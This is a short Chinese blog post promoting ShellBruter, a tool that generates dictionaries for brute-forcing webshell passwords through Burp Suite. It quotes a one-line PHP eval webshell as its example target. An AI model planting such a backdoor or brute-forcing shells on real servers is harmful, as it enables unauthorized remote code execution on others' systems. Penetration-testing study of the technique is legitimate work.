ShellBruter|WebShell高效爆破字典生成

ShellBruter|WebShell高效爆破字典生成

江湖人称轮子妈。

爆破思路参考:

https://www.t00ls.net/thread-36985-1-1.html

这里不继续用python写请求的原因是感觉让burp处理这些会更好(懒)

使用示例:

假设当前shell为:

1
<?php @eval($_POST[a]);?>

1)burp加载生成的爆破字典

2)关闭URL编码(很重要)

3)得到结果

此方法可灵活使用,其余可自由发挥。

github地址:

https://github.com/r00tSe7en/ShellBruter

ShellBruter|WebShell高效爆破字典生成

https://www.se7ensec.cn/2020/03/22/ShellBruter/

作者

Se7en

发布于

2020-03-22

更新于

2022-03-31

许可协议

评论